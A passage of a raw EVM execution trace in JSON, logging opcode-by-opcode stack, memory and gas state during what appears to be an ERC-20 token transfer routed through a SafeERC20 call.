dfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000"]},{"pc":3246,"op":"SWAP1","gas":20906,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x40","0x1a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":3247,"op":"DUP2","gas":20903,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x1a4","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":3248,"op":"ADD","gas":20900,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x1a4","0x40","0x1a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":3249,"op":"DUP11","gas":20897,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x1a4","0x1e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":3250,"op":"SWAP1","gas":20894,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x1a4","0x1e4","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":3251,"op":"MSTORE","gas":20891,"gasCost":6,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x1a4","0x136dbf40ac09b","0x1e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":3252,"op":"PUSH1","gas":20885,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x1a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":3254,"op":"DUP2","gas":20882,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x1a4","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":3255,"op":"ADD","gas":20879,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x1a4","0x60","0x1a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":3256,"op":"DUP10","gas":20876,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x1a4","0x204"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":3257,"op":"SWAP1","gas":20873,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x1a4","0x204","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":3258,"op":"MSTORE","gas":20870,"gasCost":6,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x1a4","0x0","0x204"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"]},{"pc":3259,"op":"PUSH1","gas":20864,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x1a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3261,"op":"PUSH1","gas":20861,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x1a4","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3263,"op":"PUSH1","gas":20858,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x1a4","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3265,"op":"SHL","gas":20855,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x1a4","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3266,"op":"SUB","gas":20852,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x1a4","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3267,"op":"DUP9","gas":20849,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x1a4","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3268,"op":"AND","gas":20846,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x1a4","0xffffffffffffffffffffffffffffffffffffffff","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3269,"op":"SWAP1","gas":20843,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x1a4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3270,"op":"CALLER","gas":20840,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3271,"op":"SWAP1","gas":20838,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1a4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3272,"op":"PUSH32","gas":20835,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3305,